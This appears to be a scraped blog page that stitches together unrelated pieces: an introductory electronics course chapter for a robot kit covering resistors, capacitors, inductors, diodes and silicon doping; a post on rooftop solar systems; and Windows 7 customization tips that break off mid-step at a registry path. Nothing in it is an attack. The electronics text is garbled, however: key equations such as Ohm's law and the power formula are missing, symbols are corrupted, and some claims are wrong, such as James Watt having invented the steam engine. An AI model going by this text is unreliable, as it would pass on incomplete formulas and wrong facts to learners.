You should handle batteries carefully, especially the ones we use in this course. Chemicals are a very efficient and compact way of storing energy. Just consider the power of gasoline or explosives, or the fact that you can play soccer for several hours powered only by a slice of cold pizza for breakfast. Never connect the terminals of a battery together with a wire or other good conductor. The battery we use for the RoboBoard is similar to the battery in cars, which uses lead and sulphuric acid as reactants. Such batteries can deliver very large currents through a short circuit, hundreds of amperes. The large current will heat the wire and possibly burn you; the resulting rapid internal chemical reactions also produce heat and the battery can explode, spreading nasty, reactive chemicals about. Charging these batteries with too large a current can have the same effect. Double check the circuit and instructions before connecting a battery to any circuit. More information on batteries can be found in Chapter 7.

Circuit Elements

Resistors

We need some way to control the flow of current from a voltage source, like a battery, so we do not melt wires and blow up batteries. If you think of current, charge flow, in terms of water flow, a good electrical conductor is like big water pipe. Water mains and fire hoses have their uses, but you do not want to take a drink from one. Rather, we use small pipes, valves, and other devices to limit water flow to practical levels. Resistors do the same for current; they resist the flow of charge; they are poor conductors. The value of a resistor is measured in ohms and represented by the Greek letter capital omega. There are many different ways to make a resistor. Some are just a coil of wire made of a material that is a poor conductor. The most common and inexpensive type is made from powdered carbon and a glue-like binder. Such carbon composition resistors usually have a brown cylindrical body with a wire lead on each end, and colored bands that indicate the value of the resistor. The key to reading these values is given in Chapter 2.
There are other types of resistors in your robot kit. The potentiometer is a variable resistor. When the knob of a potentiometer is turned, a slider moves along the resistance element. Potentiometers generally have three terminals, a common slider terminal, and one that exhibits increasing resistance and one that has decreasing resistance relative to the slider as the shaft is turned in one direction. The resistance between the two stationary contacts is, of course, fixed, and is the value specified for the potentiometer. The photoresistor or photocell is composed of a light sensitive material. When the photocell is exposed to more light, the resistance decreases. This type of resistor makes an excellent light sensor.

Ohm's Law

Ohm's law describes the relationship between voltage,

V

, which is trying to force charge to flow, resistance,

R

, which is resisting that flow, and the actual resulting current

I

. The relationship is simple and very basic:. Thus large voltages and/or low resistances produce large currents. Large resistors limit current to low values. Almost every circuit is more complicated than just a battery and a resistor, so which voltage does the formula refer to? It refers to the voltage across the resistor, the voltage between the two terminal wires. Looked at another way, that voltage is actually produced by the resistor. The resistor is restricting the flow of charge, slowing it down, and this creates a traffic jam on one side, forming an excess of charge with respect to the other side. Any such charge difference or separation results in a voltage between the two points, as explained above. Ohm's law tells us how to calculate that voltage if we know the resistor value and the current flow. This voltage drop is analogous to the drop in water pressure through a small pipe or small nozzle.

Power

Current flowing through a poor conductor produces heat by an effect similar to mechanical friction. That heat represents energy that comes from the charge traveling across the voltage difference. Remember that separated charges have the potential to do work and provide energy. The work involved in heating a resistor is not very useful, unless we are making a hotplate; rather it is a byproduct of restricting the current flow. Power is measured in units of watts (W), named after James Watt, the Englishman who invented the steam engine, a device for producing lots of useful power. The power that is released into the resistor as heat can be calculated as

P=VI

, where

I

is the current flowing through the resistor and

V

is the voltage across it. Ohm's law relates these two quantities, so we can also calculate the power as The power produced in a resistor raises its temperature and can change its value or destroy it. Most resistors are air-cooled and they are made with different power handling capacity. The most common values are 1/8, 1/4, 1, and 2 watt resistors, and the bigger the wattage rating, the bigger the resistor physically. Some high power applications use special water cooled resistors. Most of the resistors on the RoboBoard are 1/8 watt.

Combinations of Resistors

Resistors are often connected together in a circuit, so it is necessary to know how to determine the resistance of a combination of two or more resistors. There are two basic ways in which resistors can be connected: inseries and in parallel. A simple series resistance circuit is shown in Figure 4.4.

**Figure 4.4:** Two Resistors in Series

Determining the total resistance for two or more resistors in series is very simple. Total resistance equals the sum of the individual resistances. In this case,

R

_T=R₁+R2 . This makes common sense; if you think again in terms of water flow, a series of obstructions in a pipe add up to slow the flow more than any one. The resistance of a series combination is always greater than any of the individual resistors.
The other method of connecting resistors is shown in Figure 4.5, which shows a simple parallel resistance circuit.

**Figure 4.5:** Two Resistors in Parallel

Our water pipe analogy indicates that it should be easier for current to flow through this multiplicity of paths, even easier than it would be to flow through any single path. Thus, we expect a parallel combination of resistors to have less resistance than any one of the resistors. Some of the total current will flow through R1 and some will flow through R2, causing an equal voltage drop across each resistor. More current, however, will flow through the path of least resistance. The formula for total resistance in a parallel circuit is more complex than for a series circuit:

R

_T={1{1R₁}+{1R₂}...+{1R_n}}

(1)

Parallel and series circuits can be combined to make more complex structures, but the resulting complex resistor circuits can be broken down and analyzed in terms of simple series or parallel circuits. Why would you want to use such combinations? There are several reasons; you might use a combination to get a value of resistance that you needed but did not have in a single resistor. Resistors have a maximum voltage rating, so a series of resistors might be used across a high voltage. Also, several low power resistors can be combined to handle higher power. What type of connection would you use?

Capacitors

Capacitors are another element used to control the flow of charge in a circuit. The name derives from their capacity to store charge, rather like a small battery. Capacitors consist of two conducting surfaces separated by an insulator; a wire lead is connected to each surface. You can imagine a capacitor as two large metal plates separated by air, although in reality they usually consist of thin metal foils or films separated by plastic film or another solid insulator, and rolled up in a compact package. Consider connecting a capacitor across a battery, as in Fig. 4.6.

**Figure 4.6:** A simple capacitor connected to a battery through a resistor.

As soon as the connection is made charge flows from the battery terminals, along the wire and onto the plates, positive charge on one plate, negative charge on the other. Why? The like-sign charges on each terminal want to get away from each other. In addition to that repulsion, there is an attraction to the opposite-sign charge on the other nearby plate. Initially the current is large, because in a sense the charges can not tell immediately that the wire does not really go anywhere, that there is no complete circuit of wire. The initial current is limited by the resistance of the wires, or perhaps by a real resistor, as we have shown in Fig. 4.6. But as charge builds up on the plates, charge repulsion resists the flow of more charge and the current is reduced. Eventually, the repulsive force from charge on the plate is strong enough to balance the force from charge on the battery terminal, and all current stops. Figure 4.7 shows how the current might vary with

**Figure 4.7:** The time dependence of the current in the circuit of Fig. 4.6 for two values of resistance.

time for two different values of resistors. For a large resistor, the whole process is slowed because the current is less, but in the end, the same amount of charge must exist on the capacitor plates in both cases. The magnitude of the charge on each plate is equal.
The existence of the separated charges on the plates means there must be a voltage between the plates, and this voltage be equal to the battery voltage when all current stops. After all, since the points are connected by conductors, they should have the same voltage; even if there is a resistor in the circuit, there is no voltage across the resistor if the current is zero, according to Ohm's law. The amount of charge that collects on the plates to produce the voltage is a measure of the value of the capacitor, its capacitance, measured in farads (f). The relationship is

C = Q/V

, where Q is the charge in Coulombs. Large capacitors have plates with a large area to hold lots of charge, separated by a small distance, which implies a small voltage. A one farad capacitor is extremely large, and generally we deal with microfarads (

�f ), one millionth of a farad, or picofarads (pf), one trillionth

(10

^-12) of a farad.
Consider the circuit of Fig. 4.6 again. Suppose we cut the wires after all current has stopped flowing. The charge on the plates is now trapped, so there is still a voltage between the terminal wires. The charged capacitor looks somewhat like a battery now. If we connected a resistor across it, current would flow as the positive and negative charges raced to neutralize each other. Unlike a battery, there is no mechanism to replace the charge on the plates removed by the current, so the voltage drops, the current drops, and finally there is no net charge left and no voltage differences anywhere in the circuit. The behavior in time of the current, the charge on the plates, and the voltage looks just like the graph in Fig. 4.7. This curve is an exponential function:

exp (-t/RC)

. The voltage, current, and charge fall to about 37% of their starting values in a time of

R �C

seconds, which is called the characteristic time or the time constant of the circuit. The

RC

time constant is a measure of how fast the circuit can respond to changes in conditions, such as attaching the battery across the uncharged capacitor or attaching a resistor across the charged capacitor. The voltage across a capacitor cannot change immediately; it takes time for the charge to flow, especially if a large resistor is opposing that flow. Thus, capacitors are used in a circuit to damp out rapid changes of voltage.

Combinations of Capacitors

Like resistors, capacitors can be joined together in two basic ways: parallel and series. It should be obvious from the physical construction of capacitors that connecting two together in parallel results in a bigger capacitance value. A parallel connection results in bigger capacitor plate area, which means they can hold more charge for the same voltage. Thus, the formula for total capacitance in a parallel circuit is:

C

_T=C₁+C₂...+C_n ,

(2)

the same form of equation for resistors in series, which can be confusing unless you think about the physics of what is happening.
The capacitance of a series connection is lower than any capacitor because for a given voltage across the entire group, there will be less charge on each plate. The total capacitance in a series circuit is

C

_T={1{1C₁}+{1C₂}...+{1C_n}}.

(3)

Again, this is easy to confuse with the formula for parallel resistors, but there is a nice symmetry here.

Inductors

Inductors are the third and final type of basic circuit component. An inductor is a coil of wire with many windings, often wound around a core made of a magnetic material, like iron. The properties of inductors derive from a different type of force than the one we invented charge to explain: magnetic force rather than electric force. When current flows through a coil (or any wire) it produces a magnetic field in the space outside the wire, and the coil acts just like any natural, permanent magnet, attracting iron and other magnets. If you move a wire through a magnetic field, a current will be generated in the wire and will flow through the associated circuit. It takes energy to move the wire through the field, and that mechanical energy is transformed to electrical energy. This is how an electrical generator works. If the current through a coil is stopped, the magnetic field must also disappear, but it cannot do so immediately. The field represents stored energy and that energy must go somewhere. The field contracts toward the coil, and the effect of the field moving through the wire of the coil is the same as moving a wire through a stationary field: a current is generated in the coil. This induced current acts to keep the current flowing in the coil; the induced current opposes any change, an increase or a decrease, in the current through the inductor. Inductors are used in circuits to smooth the flow of current and prevent any rapid changes.
The current in an inductor is analogous to the voltage across a capacitor. It takes time to change the voltage across a capacitor, and if you try, a large current flows initially. Similarly, it takes time to change the current through an inductor, and if you insist, say by opening a switch, a large voltage will be produced across the inductor as it tries to force current to flow. Such induced voltages can be very large and can damage other circuit components, so it is common to connect some element, like a resistor or even a capacitor across the inductor to provide a current path and absorb the induced voltage. (Often, a diode, which we will discuss later, is used.)
Inductors are measured in henrys (h), another very big unit, so you are more likely to see millihenries, and microhenries. There are almost no inductors on the RoboBoard, but you will be using some indirectly: the motors act like inductors in many ways. In a sense an electric motor is the opposite of an electrical generator. If current flows through a wire that is in a magnetic field (produced either by a permanent magnet or current flowing through a coil), a mechanical force will be generated on the wire. That force can do work. In a motor, the wire that moves through the field and experiences the force is also in the form of a coil of wire, connected mechanically to the shaft of the motor. This coil looks like and acts like an inductor; if you turn off the current (to stop the motor), the coil will still be moving through the magnetic field, and the motor now looks like a generator and can produce a large voltage. The resulting inductive voltage spike can damage components, such as the circuit that controls the motor current. In the past this effect destroyed a lot of motor controller chips and other RoboBoard components. The present board design contains special diodes that will withstand and safely dissipate the induced voltages -- we hope.

Combinations of Inductors

You already know how inductors act in combination because they act just like resistors. Inductance adds in series. This makes physical sense because two coils of wire connected in series just looks like a longer coil. Parallel connection reduces inductance because the current is split between the several coils and the fields in each are thus weaker.

Semiconductor Devices

The Truth About Charge

Our statements above about charge are not wrong, but they are simple and incomplete. In order to understand how semiconductor devices work one needs a more complete description of the nature of charge in the real world. Charge does not exist independently; it is carried by subatomic particles. For this discussion we will be concerned primarily with electrons, which carry a negative charge of

1.6 � 10

^-19 C , the minimum amount of charge that can exist in isolation. At least, no one has found any smaller amount than this fundamental quantum of charge.
Electrons are one component of atoms and molecules. Atoms are the building blocks out of which all matter is constructed. Atoms bond with each other to form substances. Substances composed of just one type of atom are called elements. For example, copper, gold and silver are all elements; that is, each of them consists of only one type of atom. More complex substances are made up of more than one atom and are known ascompounds. Water, which has both hydrogen and oxygen atoms, is such a compound. The smallest unit of a compound is a molecule. A water molecule, for example, contains two hydrogen atoms and one oxygen atom.
Atoms themselves are made up of even smaller components: protons, neutrons and electrons. Protons and neutrons form the nucleus of an atom, while the electrons orbit the nucleus. Protons carry positive charge and electrons carry negative charge; the magnitude of the charge for both particles is the same, one quantum charge,

1.6 �10

^-19 C . Neutrons are not charged. Normally, atoms have the same number of protons and electrons and have no net electrical charge.

**Figure 4.8:** Structure of an Atom

Electrons that are far from the nucleus are relatively free to move around under the influence of external fields because the force of attraction from the positive charge in the nucleus is weak at large distances. In fact, it takes little force in many cases to completely remove an outer electron from an atom, leaving an ion with a net positive charge. Once free, electrons can move at speeds approaching the speed of light (roughly 670 million miles per hour) through metals, gases and vacuum. They can also become attached to another atom, forming an ion with net negative charge.
Electric current in metal conductors consists of a flow of free electrons. Because electrons have negative charge, the flow of electrons is in a direction opposite to the positive current. Free electrons traveling through a conductor drift until they hit other electrons attached to atoms. These electrons are then dislodged from their orbits and replaced by the formerly free electrons. The newly freed electrons then start the process anew. At the microscopic level, electron flow through a conductor is not a steady stream, like water flowing from a faucet, but rather a series of short bursts.

**Figure 4.9:** A Simple Model of Electron Flow

Silicon

Semiconductor devices are made primarily of silicon (silicon's element symbol is "Si"). Pure silicon forms rigid crystals because of its four valence (outermost) electron structure -- one Si atom bonds to four other Si atoms forming a very regularly shaped diamond pattern. Figure 4.10 shows part of a silicon crystal structure.

**Figure 4.10:** A Silicon Crystal Structure

Pure silicon is not a conductor because there are no free electrons; all the electrons are tightly bound to neighboring atoms. To make silicon conducting, producers combine or "dope" pure silicon with very small amounts of other elements like boron or phosphorus. Phosphorus has five outer valence electrons. When three silicon atoms and one phosphorus atom bind together in the basic silicon crystal cell of four atoms, there is an extra electron and a net negative charge. Figure4.11 shows the crystal structure of phosphorus doped silicon.

**Figure 4.11:** Silicon Doped with Phosphorus

This type of material is called n-type silicon. The extra electron in the crystal cell is not strongly attached and can be released by normal thermal energy to carry current; the conductivity depends on the amount of phosphorus added to the silicon.
Boron has only three valance electrons. When three silicon atoms and one boron atom bind with each other there is a "hole" where another electron would be if the boron atom were silicon; see Fig. 4.12. This gives the crystal cell a positive net charge (referred to as p-type silicon), and the ability to pick up an electron easily from a neighboring cell.

**Figure 4.12:** Silicon Doped with Boron

The resulting migration of electron vacancies or holes acts like a flow of positive charge through the crystal and can support a current. It is sometimes convenient to refer to this current as a flow of positive holes, but in fact the current is really the result of electrons moving in the opposite direction from vacancy to vacancy.

Diodes

Both p-type and n-type silicon will conduct electricity just like any conductor; however, if a piece of silicon is doped p-type in one section and n-type in an adjacent section, current will flow in only one direction across the junction between the two regions. This device is called a diode and is one of the most basic semiconductor devices.
A diode is called forward biased if it has a positive voltage across it from from the p- to n-type material. In this condition, the diode acts rather like a good conductor, and current can flow, as in Fig. 4.13.

**Figure 4.13:** A Forward Biased Diode

There will be a small voltage across the diode, about 0.6 volts for Si, and this voltage will be largely independent of the current, very different from a resistor.
If the polarity of the applied voltage is reversed, then the diode will be reverse biased and will appear nonconducting (Fig. 4.14). Almost no current will flow and there will be a large voltage across the device.

**Figure 4.14:** A Reverse Biased Diode

The non-symmetric behavior is due to the detailed properties of the pn-junction. The diode acts like a one-way valve for current and this is a very useful characteristic. One application is to convert alternating current (AC), which changes polarity periodically, into direct current (DC), which always has the same polarity. Normal household power is AC while batteries provide DC, and converting from AC to DC is called rectification. Diodes are used so commonly for this purpose that they are sometimes called rectifiers, although there are other types of rectifying devices. Figure 4.15 shows the input and output current for a simple half-wave

**Figure 4.15:** A Half-Wave Rectifier

rectifier. The circuits gets its name from the fact that the output is just the positive half of the input waveform. A full-wave rectifier circuit (shown in Figure 4.16) uses four diodes arranged so that both polarities of the input waveform can be used at the output.

**Figure 4.16:** A Full-Wave Rectifier

How do solar systems produce energy

2015-08-15T18:41:00.001+05:30

The roof system

In most solar systems, solar panels are placed on the roof. An ideal site will have no shade on the panels, especially during the prime sunlight hours of 9 a.m. to 3 p.m.; a south-facing installation will usually provide the optimum potential for your system, but other orientations may provide sufficient production. Trees or other factors that cause shading during the day will cause significant decreases to power production. The importance of shading and efficiency cannot be overstated. In a solar panel, if even just one of its 36 cells is shaded, power production will be reduced by more than half. Experienced installation contractors such as NW Wind & Solar use a device called a Solar Pathfinder to carefully identify potential areas of shading prior to installation.

Not every roof has the correct orientation or angle of inclination to take advantage of the sun's energy. Some systems are designed with pivoting panels that track the sun in its journey across the sky. Non-tracking PV systems should be inclined at an angle equal to the site’s latitude to absorb the maximum amount of energy year-round. Alternate orientations and/or inclinations may be used to optimize energy production for particular times of day or for specific seasons of the year.

Solar panels

Solar panels, also known as modules, contain photovoltaic cells made from silicon that transform incoming sunlight into electricity rather than heat. (”Photovoltaic” means electricity from light — photo = light, voltaic = electricity.)

Solar photovoltaic cells consist of a positive and a negative film of silicon placed under a thin slice of glass. As the photons of the sunlight beat down upon these cells, they knock the electrons off the silicon. The negatively-charged free electrons are preferentially attracted to one side of the silicon cell, which creates an electric voltage that can be collected and channeled. This current is gathered by wiring the individual solar panels together in series to form a solar photovoltaic array. Depending on the size of the installation, multiple strings of solar photovoltaic array cables terminate in one electrical box, called a fused array combiner. Contained within the combiner box are fuses designed to protect the individual module cables, as well as the connections that deliver power to the inverter. The electricity produced at this stage is DC (direct current) and must be converted to AC (alternating current) suitable for use in your home or business.

Inverter

The inverter is typically located in an accessible location, as close as practical to the modules. In a residential application, the inverter is often mounted to the exterior sidewall of the home near the electrical main or sub panels. Since inverters make a slight noise, this should be taken into consideration when selecting the location.

The inverter turns the DC electricity generated by the solar panels into 120-volt AC that can be put to immediate use by connecting the inverter directly to a dedicated circuit breaker in the electrical panel.

The inverter, electricity production meter, and electricity net meter are connected so that power produced by your solar electric system will first be consumed by the electrical loads currently in operation. The balance of power produced by your solar electric system passes through your electrical panel and out onto the electric grid. Whenever you are producing more electricity from your solar electric system than you are immediately consuming, your electric utility meter will turn backwards!

Net meter

In a solar electric system that is also tied to the utility grid, the DC power from the solar array is converted into 120/240 volt AC power and fed directly into the utility power distribution system of the building. The power is “net metered,” which means it reduces demand for power from the utility when the solar array is generating electricity – thus lowering the utility bill. These grid-tied systems automatically shut off if utility power goes offline, protecting workers from power being back fed into the grid during an outage. These types of solar-powered electric systems are known as “on grid” or “battery-less” and make up approximately 98% of the solar power systems being installed today.

Other benefits of solar

By lowering a building’s utility bills, these systems not only pay for themselves over time, they help reduce air pollution caused by utility companies. For example, solar power systems help increase something called “peak load generating capacity,” thereby saving the utility from turning on expensive and polluting supplemental systems during periods of peak demand. The more local-generating solar electric power systems that are installed in a given utility's service area, the less capacity the utility needs to build, thus saving everyone from funding costly additional power generating sources. Contributing clean, green power from your own solar electric system helps create jobs and is a great way to mitigate the pollution and other problems produced by electricity derived from fossil fuel. Solar-powered electrical generating systems help you reduce your impact on the environment and save money at the same time!

20 top tips Windows 7

2015-08-12T13:15:00.000+05:30

General tips

We'll start with a few nifty tips that can make your desktop more interesting, make it easier to get around and increase your computer's power efficiency.

Use hidden international wallpapers and themes

When you first install Windows 7, it asks for your language, time and currency. Based on your responses, it installs a set of wallpapers and themes. If you choose English (United States) for your time and currency format, for example, the available desktop backgrounds and themes will include a United States section with scenery from locations such as Maine, the Southwest and so on.
Hidden, though, are background scenery and themes from other English-speaking countries -- Australia, Canada, Great Britain and South Africa. Normally, you can't access those backgrounds or themes, but there is a simple way you can install and use them:
1. In the search box in the Start menu, type C:\Windows\Globalization\MCT and press Enter. (Note: If Windows 7 is installed in a drive other than C:, use that letter instead.)

2. Windows Explorer will launch and show you a list of subfolders under C:\Windows\Globalization\MCT: MCT-AU, MCT-CA, MCT-GB, MCT-US, and MCT-ZA. Each subfolder has wallpapers for a specific country: AU for Australia, CA for Canada, GB for Great Britain, US for the United States, and ZA for South Africa.

A South Africa theme, ready to use.
Click to view larger image.

For any of the countries whose wallpaper and themes you want to use, go into its Theme folder, for example, C:\Windows\Globalization\MCT\MCT-ZA\Theme. Double-click the theme you see there (for example ZA).
3. That will install a shortcut to the theme and wallpapers in the Personalization section of Control Panel.
You can now use them as you would any other theme or background, by right-clicking the desktop, choosing Personalize, and choosing a background or theme. They will be listed in their own section.

Shake your desktop free of clutter

If you frequently run multiple programs simultaneously, your desktop can get extremely cluttered. This can get annoying if you're working on one program and want to minimize all the other windows -- in previous versions of Windows you had to minimize them individually.
With Windows 7's "shake" feature, though, you can minimize every window except the one in which you're currently working -- in a single step. Click and hold the title bar of the window you want to keep on the desktop; while still holding the title bar, shake it quickly back and forth until all of the other windows minimize to the taskbar. Then let go. To make them return, shake the title bar again.
You can accomplish the same thing by pressing the Window key-Home key combination -- although doing that is not nearly as much fun.

Get a power efficiency report

Have a laptop and want to get more battery life out of it? Windows 7 includes a hidden built-in tool that will examine your laptop's energy use and make recommendations on how to improve it. To use it:
1. Run a command prompt as an administrator. To do this, type cmd in the search box, and when the cmd icon appears, right-click it and choose "Run as administrator."
2. At the command line, type in the following:
powercfg -energy -output \<i>Folder</i>\Energy_Report.html
where \Folder represents the folder where you want the report to be placed.

A laptop's power efficiency report.
Click to view larger image.

3. For about a minute, Windows 7 will examine the behavior of your laptop. It will then analyze it and create a report in HTML format in the folder you specified. Double-click the file, and you'll get a report -- follow its recommendations for ways to improve power performance.

Modify UAC

The User Account Control security feature was one of the most reviled additions to Windows Vista, with good reason -- its constant warning messages asking for permission to continue many operations drove users around the bend.
UAC has been significantly improved in Windows 7 so that it's not as intrusive as in Vista, but you can still tweak it if you like.
Here's how to turn UAC on or off, and make it less or more intrusive than the default:
1. Go to the Control Panel --> User Accounts and Family Safety.
2. Click User Accounts, then click Change User Account Control settings.
3. From the screen that appears, use the slider to select the level of protection you want. Here are the four levels and what they mean:

Modifying UAC. Click to view larger image.

Always notify me. Think of this as UAC Classic. It works like Vista's UAC: When you make changes to your system, when software is installed or when a program tries to make a change to your system, an annoying prompt appears.
Default -- Notify me only when programs try to make changes to my computer. This is, obviously, the default; make a change yourself and UAC leaves you alone. When a program makes a change, a prompt appears and your desktop goes dark, just like it does in Vista. Otherwise, UAC sits there silently.
Notify me only when programs try to make changes to my computer (do not dim my desktop). This setting is identical to the default setting, with one difference: It won't dim your desktop so that you only see the UAC prompt asking you to take action. This presents a slightly elevated security risk over the default setting, because theoretically a program could allow a malicious program to interfere with the UAC prompt.
Never notify me when: In this one, UAC is completely turned off. This is, of course, an insecure option and not recommended for most users.
After you make the selection, click OK. Depending on the selection you made, you may need to restart your system for it to take effect.

Start Menu tips

Many people overlook the Start Menu, rarely using it except as a jumping off point to run an application or get to the Control Panel. But there's actually plenty you can do with it.

Search the Internet from the Start Menu

Note: This tip relies on the Group Policy Editor, which isn't available in some versions of Windows 7. Thus, this tip will not work if you have the Home Premium, Starter, or Home Basic editions of Windows 7.
The Start Menu's search box is a convenient way to search through your PC -- but you can also have it do double-duty and perform Internet searches as well. To enable this feature:
1. In the Start Menu search box, type GPEDIT.MSC and press Enter to run the Group Policy Editor.
2. Go to User Configuration --> Administrative Templates --> Start Menu and Taskbar.

Enabling Internet search from the Start Menu.
Click to view larger image.

3. Double-click "Add Search Internet link to Start Menu," and from the screen that appears, select Enabled. Then click OK and close the Group Policy Editor.
4. From now on, when you type a search term in the Search box on the Start Menu, a "Search the Internet" link will appear. Click the link to launch the search in your default browser with your default search engine.

Customize the Shut down button

The default action of the Start Menu's Shut down button is to turn off your PC. If you want to use the button for another action, such as restarting your PC, you click the arrow to the right of the Shut down button and select an action from the drop-down menu.
What if you rarely shut your PC down completely but frequently restart it? You can change the Shut down button's default action to be Restart -- or Switch user, Log off, Lock, Sleep or Hibernate.
To change your default, right-click the Start button and select Properties. On the Start Menu tab, click the "Power button action" drop-down menu and select which action you want to be the default. Then click OK, and OK again.

Add a Videos link to the Start Menu

The Windows 7 Start Menu includes links to your Pictures and Music folders, but not to your Videos folder. If you watch a lot of videos and want a link to them on your Start Menu, here's what you can do:

Displaying the Videos folder on the Start Menu.
Click to view larger image.

1. Right-click the Start button and select Properties.
2. On the screen that appears, go to the Start Menu tab and click Customize.
3. In the dialog box that appears, scroll to the bottom, look for the Videos section, select "Display as a link," and click OK and then OK again.
If you'd prefer that Videos display as a menu, with links to files and submenus, instead select "Display as a menu."

Windows Explorer tips

Windows Explorer is the heart and soul of the Windows interface, and overall it works quite well. But you can make it better.

Use check boxes to select multiple files

In order to select multiple files for an operation such as copying, moving or deleting in Windows Explorer, you generally use the keyboard and the mouse, Ctrl-clicking every file you want to select.
But if you're mouse-centric, there's a way to select multiple files in Windows 7 using only your mouse, via check boxes. To do it:

Selecting multiple files using your mouse and check boxes.
Click to view larger image.

1. In Windows Explorer, click Organize, and then select "Folder and search options."
2. Click the View tab.
3. In Advanced Settings, scroll down and check the box next to "Use check boxes to select items." Click OK.
4. From now on, when you hover your mouse over a file in Windows Explorer, a check box will appear next to it; click it to select the file. Once a file is selected, the checked box remains next to it; if you uncheck it, the box will disappear when you move your mouse away.

Open a command prompt at any folder

Command prompt fans will welcome this tip. With it, when you're in Windows Explorer, you can open a command prompt to any folder. This tip does exactly what the Windows XP PowerToy "Open Command Window Here" does.
To use it, hold down the Shift key and right-click a folder, then choose "Open command window here" from the context menu that appears. (Note that this tip doesn't work in the Documents folder.)

Protect the privacy of your Explorer searches

Note: This tip relies on the Group Policy Editor, which isn't available in some versions of Windows 7. Thus, this tip will not work if you have the Home Premium, Starter, or Home Basic editions of Windows 7.
When you search through your PC from Windows Explorer, you can see the most recent searches that have been performed. If you share a PC and don't want others to see what you've searched for, you can turn off the recent searches feature:
1. In the Start menu's Search box, type GPEDIT.MSC and press Enter to launch the Group Policy Editor.

Select "Enabled" to protect search privacy.
Click to view larger image.

2. Go to User Configuration --> Administrative Templates --> Windows Components --> Windows Explorer.
3. Double-click "Turn off display of recent search entries in the Windows Explorer search box" and select Enabled from the screen that appears. Then click OK. The recent searches feature will now be turned off.

Set a new Windows Explorer launch folder

When you run Windows Explorer, it always opens to the Libraries folder. That's fine if you use Microsoft's default file organization, which designates Libraries as the overall container for your folders.
But what if you don't? You might prefer to have Windows Explorer open to Computer or any other folder you choose. Here's how to do it:

Changing the default Explorer location.
Click to view larger image.

1. Right-click the Windows Explorer icon on the taskbar (it's the one that looks like a folder), and then right-click the Windows Explorer icon from the context menu that appears and select Properties. The Windows Explorer Properties dialog box appears.
2. You'll have to edit the Target field on the Shortcut tab of this dialog box in order to change the default location at which Explorer opens.
If you want Explorer to open to a specific folder, simply enter the name of the folder, substituting your folder name for Folder, below, like this:
%windir%\explorer.exe c:\<i>Folder</i>
So to open Explorer to the folder named Budget, you would type this in the Target field:
%windir%\explorer.exe c:\Budget
If you want Explorer to open to special, pre-set locations, such as Computer, you'll need to enter special syntax in the Target field. Following is a list of three common locations and the syntax to use, followed by the syntax for the Libraries folder in case you ever want to revert to the default.

Computer: %windir%\explorer.exe ::{20D04FE0-3AEA-1069-A2D8-08002B30309D}
My Documents:%windir%\explorer.exe ::{450D8FBA-AD25-11D0-98A8-0800361B1103}
Network: %windir%\explorer.exe ::{208D2C60-3AEA-1069-A2D7-08002B30309D}
Libraries: %SystemRoot%\explorer.exe

3. After you've changed the Target field, click OK. Next time you launch Windows Explorer, it will open to the new location you've designated.

Show all your drives in Windows Explorer

Depending on your system settings, when you go to Computer in Windows Explorer, you may be in for a shock -- you may not see all your drives such as memory card readers if those drives are empty. If this disconcerts you, there's a simple way for you to see them even if there's nothing there:

Having Explorer show empty drives.
Click to view larger image.

1. Launch Windows Explorer and press the Alt button to reveal the top menu.
2. Select Tools --> Folder Options and click the View tab.
3. Under "Advanced settings," uncheck the box next to "Hide empty drives in the Computer folder." Click OK. The drives will now always be visible.

Build your own Internet Search Connector

Windows 7 has a very useful new feature called a Search Connector that lets you search through a Web site from right inside Windows Explorer. With it, you type in a search term and select the Search Connector for the site you want to search; Explorer searches the Web site without having to open Internet Explorer, and the results appear inside Windows Explorer. Click any of the results to head there using your default Web browser.
Normally, you'll need to get each Search Connector from the Web site through which you want to search, and very few Connectors are available. Sites normally need to adhere to OpenSearch standards in order for their Connectors to work.

Adding a new Search Connector.

However, there's a work-around that will let you easily build your own Search Connector for any site, using Windows Live Search as a kind of go-between. Don't worry, you don't need to know any code to write a Connector. Just follow these steps:
1. Copy the following text and paste it into Notepad. The text you'll need to change is in bold, all-caps text:
<?xml version="1.0" encoding="UTF-8"?>

<OpenSearchDescription 
xmlns="http://a9.com/-/spec/opensearch/1.1/" 
xmlns:ms-ose="http://schemas.microsoft.com/opensearchext/2009/">

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<ShortName>NAME YOUR SEARCH</ShortName>
<Description>DESCRIPTION OF SEARCH</Description>

<Url type="application/rss+xml" template="http://api.bing.com/rss.aspx?source=web&query={searchTerms} site:SITENAME.COM&web.count=50"/>

<Url type="text/html" template="http://www.bing.com/search?q={searchTerms}+site:SITENAME.COM"/>
</OpenSearchDescription>
2. In place of NAME YOUR SEARCH, type in the name of the search as you want it to appear. In our case, we're going to build a Search Connector for Computerworld, so we'll just type in Computerworld.
3. In place of DESCRIPTION OF SEARCH, type in a longer description of the search. In our instance, it will be Search through Computerworld.
4. In the two SITENAME.COM entries, enter the Web site's domain. Don't use the http:// or www -- just the domain name. In our instance it will be computerworld.com.
5. To the right of "count=", type in the number or results you want to appear. In our instance, we'll keep it at 50.
6. In our example, here's what the code should look like (no bold necessary):
<?xml version="1.0" encoding="UTF-8"?>

<OpenSearchDescription 
xmlns="http://a9.com/-/spec/opensearch/1.1/" 
xmlns:ms-ose="http://schemas.microsoft.com/opensearchext/2009/">

<ShortName>Computerworld</ShortName>
<Description>Search through Computerworld</Description>

<Url type="application/rss+xml" template="http://api.bing.com/rss.aspx?source=web&query={searchTerms} site:computerworld.com&web.count=50"/>

<Url type="text/html" template="http://www.bing.com/search?q={searchTerms}+site:computerworld.com"/>
</OpenSearchDescription>
7. Save the file in Notepad, choose UTF-8 from the Encoding drop-down box near the bottom of the Save As screen, and give it an .osdx extension. In our instance, we'll call the file Computerworld.osdx.
8. In Windows Explorer, right-click the .osdx file and select Create Search Connector. The Search Connector will be created.
9. You can now use the Search Connector. To get to it, in Windows Explorer go to YourName --> Searches --> Connector, where YourName is your account name, and Connector is the name of the Connector.

Results from a custom Search Connector. Click to view larger image.

Taskbar tips

One of the most significant changes to the Windows 7 interface is its new taskbar, which acts more like the Mac OS X dock than the Windows taskbar of old. Here are a few quick tips for using the new taskbar and tweaks for taking charge of it.

Speed up the display of thumbnails on the taskbar

One of the nicest things about the taskbar is that when you hover your mouse over the icons in it, you can see thumbnail previews of all open windows for each of those applications.

The taskbar in thumbnail view.
Click to view larger image.

When you do so, there is a slight delay before the thumbnail appears. But you can make the thumbnails display more quickly by using a Registry hack.
Important: Always create a Restore Point before editing the Windows Registry. If you don't know how to create a Restore Point or find your way around the Windows Registry, see "The tweaker's guide to the Windows Registry."
1. Launch the Registry Editor by typing regedit in the Search box and pressing Enter.
2. Go to HKEY_CURRENT_USER\Control Panel\Mouse.
